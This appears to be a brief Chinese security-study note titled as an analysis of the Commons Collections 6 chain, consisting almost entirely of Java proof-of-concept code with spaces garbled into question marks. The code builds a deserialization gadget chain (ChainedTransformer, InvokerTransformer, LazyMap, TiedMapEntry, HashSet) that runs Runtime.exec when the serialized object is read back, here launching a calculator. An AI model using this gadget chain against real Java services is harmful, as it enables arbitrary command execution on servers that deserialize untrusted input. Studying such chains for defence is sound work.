CC6分析

import?org.apache.commons.collections.*;
import?org.apache.commons.collections.functors.ChainedTransformer;
import?org.apache.commons.collections.functors.ConstantTransformer;
import?org.apache.commons.collections.functors.InvokerTransformer;
import?org.apache.commons.collections.keyvalue.TiedMapEntry;
import?org.apache.commons.collections.map.LazyMap;import?java.io.*;
import?java.util.HashMap;
import?java.util.HashSet;
import?java.util.Map;public?class?cc6?{public?static?void?main(String[]?args)?throws?NoSuchFieldException,?IllegalAccessException,?IOException,?ClassNotFoundException?{Transformer[]?transformers=new?Transformer[]{new?ConstantTransformer(Runtime.class),new?InvokerTransformer("getMethod",new?Class[]{String.class,Class[].class},new?Object[]{"getRuntime",new?Class[]{}}),new?InvokerTransformer("invoke",new?Class[]{Object.class,Object[].class},new?Object[]{null,new?Object[]{}}),new?InvokerTransformer("exec",new?Class[]{String.class},new?Object[]{"calc"})};ChainedTransformer?Testtransformer?=?new?ChainedTransformer(transformers);//創建一個hashmapMap?map=new?HashMap();Map?lazyMap=LazyMap.decorate(map,Testtransformer);TiedMapEntry?tiedMapEntry=new?TiedMapEntry(lazyMap,"test1");HashSet?hashSet=new?HashSet(1);hashSet.add(tiedMapEntry);lazyMap.remove("test1");ObjectOutputStream?objectOutputStream?=?new?ObjectOutputStream(new?FileOutputStream("test.out"));objectOutputStream.writeObject(hashSet);objectOutputStream.close();ObjectInputStream?objectInputStream?=?new?ObjectInputStream(new?FileInputStream("test.out"));objectInputStream.readObject();}
}

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